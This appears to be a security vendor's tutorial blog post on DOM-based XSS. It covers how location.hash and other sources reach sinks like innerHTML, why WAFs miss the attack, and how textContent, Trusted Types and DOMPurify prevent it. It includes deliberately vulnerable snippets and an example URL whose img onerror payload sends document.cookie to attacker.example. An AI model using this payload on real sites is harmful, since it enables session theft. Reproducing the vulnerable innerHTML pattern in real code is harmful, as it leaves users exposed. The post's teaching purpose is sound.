Cross-Site ScriptingDOM-Based

DOM-Based XSS: When the Vulnerability Never Touches the Server

DOM-based XSS lives entirely in client-side JavaScript: an attacker-controlled source flows into a dangerous sink with no server round-trip. Here is why WAFs miss it, and how safe sinks and Trusted Types stop it.

SelfSec Team4 min read
Part 3 of 6from theCross-Site Scriptingseries
#<img src=x onerror=alert(1)>
On this page

DOM-based cross-site scripting is the variant where the server is innocent. The vulnerable code is JavaScript that already shipped to the browser, and the bug is that this script reads attacker-controllable input and writes it into a dangerous DOM sink. Reflected and stored XSS both pass through a server response; DOM-based XSS can happen with a response the server never customised — the tainted data and its execution both occur inside the page.

This post focuses on the source-to-sink flow that defines DOM XSS, why server-side filtering cannot see it, and how to break the flow on the client.

How it happens

DOM XSS needs a source (a value an attacker can influence) flowing into a sink (an API that turns a string into markup or code) without encoding in between. A common pattern is a page that renders part of the URL:

const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hi ' + name;

The dangerous sources are the ones an attacker can set: location.hash, location.search, location.href, document.referrer, window.name, and messages received via postMessage. The dangerous sinks are the ones that parse strings as HTML or code: innerHTML, outerHTML, document.write, insertAdjacentHTML, eval, and assignments to location.

A concrete attack

The most distinctive DOM XSS payload hides in the URL fragment — everything after the #. Browsers never send the fragment to the server, so consider a sink fed from location.hash:

document.getElementById('out').innerHTML = decodeURIComponent(location.hash.slice(1));

An attacker crafts a link where the fragment carries markup. An <img> with a broken src runs its onerror handler, sidestepping the fact that injected <script> tags added via innerHTML do not execute:

https://app.example/profile#<img src=x onerror=fetch('https://attacker.example/c?'+document.cookie)>

The browser requests https://app.example/profile — the part after the # is stripped before the request leaves. The page loads, the script reads location.hash, writes it into innerHTML, and the onerror handler fires in the victim's session.

Because the payload lives in the fragment, the server logs only a request for /profile. There is no tainted parameter in the access log, nothing for a server-side filter or a WAF to match — the attack is invisible to every defence that inspects the request.

What an attacker gains

The capabilities are identical to other XSS — cookie theft, DOM reading, forged requests, page rewriting — but the detection gap is what makes DOM XSS dangerous in practice:

  • WAFs and input filters miss it. They inspect the request; a fragment-borne payload never reaches them.
  • Server-side tests miss it. A scanner that only diffs HTTP responses sees a clean body, because the injection happens after rendering.
  • It thrives in SPAs. Single-page apps route on the fragment and re-render constantly from client state, multiplying the number of source-to-sink paths.

The result is a vulnerability that can pass a clean server-side audit and still hand an attacker the same session-level control as any other XSS.

The fix: safe sinks and Trusted Types

The reliable defence is to never let an untrusted source reach an HTML-parsing sink. Prefer APIs that treat input strictly as text:

const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').textContent = 'Hi ' + name;

textContent writes a string as text — the browser never parses it as markup. Build on that with these rules:

  • Replace innerHTML/outerHTML/document.write with textContent, setAttribute, or DOM node creation. Never feed untrusted data to eval, Function, or setTimeout(string).
  • Let your framework's auto-escaping do the rendering (React's {value}, Angular interpolation) and avoid escape hatches like dangerouslySetInnerHTML and bypassSecurityTrustHtml on untrusted data.
  • Enforce Trusted Types via Content-Security-Policy: require-trusted-types-for 'script', which makes the browser reject plain strings at dangerous sinks unless they pass through a vetted policy.
  • If you must render rich HTML on the client, sanitize it first with an allowlist library such as DOMPurify.

How SelfSec finds it

SelfSec's crawler renders modern, JavaScript-heavy applications with a real browser engine and follows attacker-controllable sources — including the URL fragment — into client-side sinks, then confirms the payload actually executes rather than guessing from a string match. Because the bug never appears in the server response, this browser-level execution check is the only reliable way to catch it, and every finding ships with a reproduction request you can replay. As always, the scan runs entirely on your machine and your scan data stays local.

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about Cross-Site Scripting

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The Cross-Site Scripting series

  1. 01OverviewCross-Site Scripting, Explained: Reflected, Stored and DOM-Based XSS3 min
  2. 02BlindBlind XSS: When Your Payload Fires in an Admin Panel You Never See5 min
  3. 03DOM-BasedDOM-Based XSS: When the Vulnerability Never Touches the ServerReading
  4. 04Mutation (mXSS)Mutation XSS (mXSS): How the Browser's Parser Rewrites Your Sanitized HTML6 min
  5. 05ReflectedReflected XSS: How a URL Can Run Code in Someone Else's Browser3 min
  6. 06StoredStored XSS: One Injection, Every Visitor3 min

Related reading